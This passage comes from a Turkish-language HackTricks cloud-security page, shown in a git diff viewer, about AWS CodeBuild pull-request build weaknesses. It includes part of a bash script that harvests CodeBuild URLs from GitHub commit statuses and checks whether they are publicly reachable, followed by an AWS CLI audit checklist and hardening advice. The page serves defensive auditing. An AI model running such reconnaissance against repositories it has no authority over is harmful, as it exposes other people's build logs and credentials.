if [ ! -s "$tmp_commits" ]; then
|
||||
echo "[!] No commits found (or API call timed out/failed)." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[*] PR commits:"
|
||||
cat "$tmp_commits"
|
||||
echo
|
||||
|
||||
echo "[*] Searching commit statuses/check-runs for CodeBuild URLs..."
|
||||
|
||||
while IFS= read -r sha; do
|
||||
[ -z "$sha" ] && continue
|
||||
|
||||
# Classic commit statuses (target_url)
|
||||
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/status" \
|
||||
--jq '.statuses[]? | .target_url // empty' 2>/dev/null || true
|
||||
|
||||
# GitHub Checks API (details_url)
|
||||
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/check-runs" \
|
||||
--jq '.check_runs[]? | .details_url // empty' 2>/dev/null || true
|
||||
done < "$tmp_commits" | sort -u > "$tmp_urls"
|
||||
|
||||
grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true
|
||||
|
||||
echo
|
||||
echo "[*] Public-access heuristic:"
|
||||
echo " - If URL redirects to signin.aws.amazon.com -> likely not public"
|
||||
echo " - If URL is directly reachable (HTTP 200) without auth redirect -> potentially public"
|
||||
echo
|
||||
|
||||
cb_urls="$(grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true)"
|
||||
if [ -z "$cb_urls" ]; then
|
||||
echo "[*] No CodeBuild URLs found in PR statuses/check-runs."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
while IFS= read -r url; do
|
||||
[ -z "$url" ] && continue
|
||||
final_url="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{url_effective}' "$url" || true)"
|
||||
code="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{http_code}' "$url" || true)"
|
||||
|
||||
if echo "$final_url" | grep -qi 'signin\.aws\.amazon\.com'; then
|
||||
verdict="NOT_PUBLIC_OR_AUTH_REQUIRED"
|
||||
elif [ "$code" = "200" ]; then
|
||||
verdict="POTENTIALLY_PUBLIC"
|
||||
else
|
||||
verdict="UNKNOWN_CHECK_MANUALLY"
|
||||
fi
|
||||
|
||||
printf '%s\t%s\t%s\n' "$verdict" "$code" "$url"
|
||||
done <<< "$cb_urls"
|
||||
```
|
||||
Aşağıdaki ile test edildi:
|
||||
```bash
|
||||
bash /tmp/check_pr_codebuild_urls.sh carlospolop codebuild-codebreach-ctf-lab 1
|
||||
```
|
||||
</details>
|
||||
|
||||
## Hızlı denetim kontrol listesi
|
||||
```bash
|
||||
# Enumerate projects
|
||||
aws codebuild list-projects
|
||||
|
||||
# Inspect source/webhook configuration
|
||||
aws codebuild batch-get-projects --names <project-name>
|
||||
|
||||
# Inspect global source credentials configured in account
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
Her projeyi şu konular açısından inceleyin:
|
||||
|
||||
- `webhook.filterGroups` içinde PR olayları olması.
|
||||
- `ACTOR_ACCOUNT_ID` desenlerinin `^...$` ile anchorlanmamış olması.
|
||||
- `pullRequestBuildPolicy.requiresCommentApproval` değerinin `DISABLED` olması.
|
||||
- Eksik branch/path kısıtlamaları.
|
||||
- Yüksek ayrıcalıklı `serviceRole`.
|
||||
- Riskli kaynak kimlik bilgileri kapsamı ve yeniden kullanımı.
|
||||
|
||||
## Sertleştirme önerileri
|
||||
|
||||
1. PR build'ları için yorum onayı gerektirin (`ALL_PULL_REQUESTS` veya `FORK_PULL_REQUESTS`).
|
||||
2. Actor allowlist kullanıyorsanız, regex'leri ^...$ ile sınırlandırın ve tam eşleşme sağlayın.
|
||||
3. Güvenilmeyen düzenlemelerin `buildspec.yml` ve CI scriptlerine erişmesini önlemek için `FILE_PATH` kısıtlamaları ekleyin.
|
||||
4. Güvenilir release build'lerini güvenilmeyen PR build'lerinden ayrı projelere/rollere ayırın.
|
||||
5. Kaynak sağlayıcı token'ları için en az ayrıcalıklı, ince taneli izinler kullanın (tercihen adanmış düşük ayrıcalıklı kimlikleri tercih edin).
|
||||
6. Webhook filtrelerini ve kaynak kimlik bilgisi kullanımını sürekli denetleyin.
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [Wiz: CodeBreach - AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
- [AWS CodeBuild API - WebhookFilter](https://docs.aws.amazon.com/codebuild/latest/APIReference/API_WebhookFilter.html)
|
||||
- [AWS CLI - codebuild create-webhook](https://docs.aws.amazon.com/cli/latest/reference/codebuild/create-webhook.html)
|
||||
- [AWS CodeBuild User Guide - Best practices for webhooks](https://docs.aws.amazon.com/codebuild/latest/userguide/webhooks.html)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user